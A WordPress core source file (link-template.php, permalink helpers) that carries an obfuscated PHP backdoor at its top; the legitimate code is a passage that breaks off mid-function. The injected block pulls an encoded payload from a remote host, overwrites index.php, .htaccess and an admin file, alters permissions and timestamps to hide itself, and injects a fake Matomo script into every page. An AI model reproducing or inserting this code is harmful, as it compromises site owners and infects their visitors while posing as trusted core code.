<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* WordPress Link Template Functions
*
* @package WordPress
* @subpackage Template
*/
/**
* Displays the permalink for the current post.
*
* @since 1.2.0
* @since 4.4.0 Added the `$post` parameter.
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
*/
function the_permalink( $post = 0 ) {
/**
* Filters the display of the permalink for the current post.
*
* @since 1.5.0
* @since 4.4.0 Added the `$post` parameter.
*
* @param string $permalink The permalink for the current post.
* @param int|WP_Post $post Post ID, WP_Post object, or 0. Default 0.
*/
echo esc_url( apply_filters( 'the_permalink', get_permalink( $post ), $post ) );
}
/**
* Retrieves a trailing-slashed string if the site is set for adding trailing slashes.
*
* Conditionally adds a trailing slash if the permalink structure has a trailing
* slash, strips the trailing slash if not. The string is passed through the
* {@see 'user_trailingslashit'} filter. Will remove trailing slash from string, if
* site is not set to have them.
*
* @since 2.2.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $url URL with or without a trailing slash.
* @param string $type_of_url Optional. The type of URL being considered (e.g. single, category, etc)
* for use in the filter. Default empty string.
* @return string The URL with the trailing slash appended or stripped.
*/
function user_trailingslashit( $url, $type_of_url = '' ) {
global $wp_rewrite;
if ( $wp_rewrite->use_trailing_slashes ) {
$url = trailingslashit( $url );
} else {
$url = untrailingslashit( $url );
}
/**
* Filters the trailing-slashed string, depending on whether the site is set to use trailing slashes.
*
* @since 2.2.0
*
* @param string $url URL with or without a trailing slash.
* @param string $type_of_url The type of URL being considered. Accepts 'single', 'single_trackback',
* 'single_feed', 'single_paged', 'commentpaged', 'paged', 'home', 'feed',
* 'category', 'page', 'year', 'month', 'day', 'post_type_archive'.
*/
return apply_filters( 'user_trailingslashit', $url, $type_of_url );
}
/**
* Displays the permalink anchor for the current post.
*
* The permalink mode title will use the post title for the 'a' element 'id'
* attribute. The id mode uses 'post-' with the post ID for the 'id' attribute.
*
* @since 0.71
*
* @param string $mode Optional. Permalink mode. Accepts 'title' or 'id'. Default 'id'.
*/
function permalink_anchor( $mode = 'id' ) {
$post = get_post();
switch ( strtolower( $mode ) ) {
case 'title':
$title = sanitize_title( $post->post_title ) . '-' . $post->ID;
echo '<a id="' . $title . '"></a>';
break;
case 'id':
default:
echo '<a id="post-' . $post->ID . '"></a>';
break;
}
}
/**
* Determine whether post should always use a plain permalink structure.
*
* @since 5.7.0
*
* @param WP_Post|int|null $post Optional. Post ID or post object. Defaults to global $post.
* @param bool|null $sample Optional. Whether to force consideration based on sample links.
* If omitted, a sample link is generated if a post object is passed
* with the filter property set to 'sample'.
* @return bool Whether to use a plain permalink structure.
*/
function wp_force_plain_post_permalink( $post = null, $sample = null ) {
if (
null === $sample &&
is_object( $post ) &&
isset( $post->filter ) &&
'sample' === $post->filter
) {
$sample = true;
} else {
$post = get_post( $post );
$sample = null !== $sample ? $sample : false;
}
if ( ! $post ) {
return true;
}
$post_status_obj = get_post_status_object( get_post_status( $post ) );
$post_type_obj = get_post_type_object( get_post_type( $post ) );
if ( ! $post_status_obj || ! $post_type_obj ) {
return true;
}
if (
// Publicly viewable links never have plain permalinks.
is_post_status_viewable( $post_status_obj ) ||
(
// Private posts don't have plain permalinks if the user can read them.
$post_status_obj->private &&
current_user_can( 'read_post', $post->ID )
) ||
// Protected posts don't have plain links if getting a sample URL.
( $post_status_obj->protected && $sample )
) {
return false;
}
return true;
}
/**
* Retrieves the full permalink for the current post or post ID.
*
* This function is an alias for get_permalink().
*
* @since 3.9.0
*
* @see get_permalink()
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param bool $leavename Optional. Whether to keep post name or page name. Default false.
* @return string|false The permalink URL. False if the post does not exist.
*/
function get_the_permalink( $post = 0, $leavename = false ) {
return get_permalink( $post, $leavename );
}
/**
* Retrieves the full permalink for the current post or post ID.
*
* @since 1.0.0
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param bool $leavename Optional. Whether to keep post name or page name. Default false.
* @return string|false The permalink URL. False if the post does not exist.
*/
function get_permalink( $post = 0, $leavename = false ) {
$rewritecode = array(
'%year%',
'%monthnum%',
'%day%',
'%hour%',
'%minute%',
'%second%',
$leavename ? '' : '%postname%',
'%post_id%',
'%category%',
'%author%',
$leavename ? '' : '%pagename%',
);
if ( is_object( $post ) && isset( $post->filter ) && 'sample' === $post->filter ) {
$sample = true;
} else {
$post = get_post( $post );
$sample = false;
}
if ( empty( $post->ID ) ) {
return false;
}
if ( 'page' === $post->post_type ) {
return get_page_link( $post, $leavename, $sample );
} elseif ( 'attachment' === $post->post_type ) {
return get_attachment_link( $post, $leavename );
} elseif ( in_array( $post->post_type, get_post_types( array( '_builtin' => false ) ), true ) ) {
return get_post_permalink( $post, $leavename, $sample );
}
$permalink = get_option( 'permalink_structure' );
/**
* Filters the permalink structure for a post before token replacement occurs.
*
* Only applies to posts with post_type of 'post'.
*
* @since 3.0.0
*
* @param string $permalink The site's permalink structure.
* @param WP_Post $post The post in question.
* @param bool $leavename Whether to keep the post name.
*/
$permalink = apply_filters( 'pre_post_link', $permalink, $post, $leavename );
if (
$permalink &&
! wp_force_plain_post_permalink( $post )
) {
$category = '';
if ( str_contains( $permalink, '%category%' ) ) {
$cats = get_the_category( $post->ID );
if ( $cats ) {
$cats = wp_list_sort(
$cats,
array(
'term_id' => 'ASC',
)
);
/**
* Filters the category that gets used in the %category% permalink token.
*
* @since 3.5.0
*
* @param WP_Term $cat The category to use in the permalink.
* @param array $cats Array of all categories (WP_Term objects) associated with the post.
* @param WP_Post $post The post in question.
*/
$category_object = apply_filters( 'post_link_category', $cats[0], $cats, $post );
$category_object = get_term( $category_object, 'category' );
$category = $category_object->slug;
if ( $category_object->parent ) {
$category = get_category_parents( $category_object->parent, false, '/', true ) . $category;
}
}
/*
* Show default category in permalinks,
* without having to assign it explicitly.
*/
if ( empty( $category ) ) {
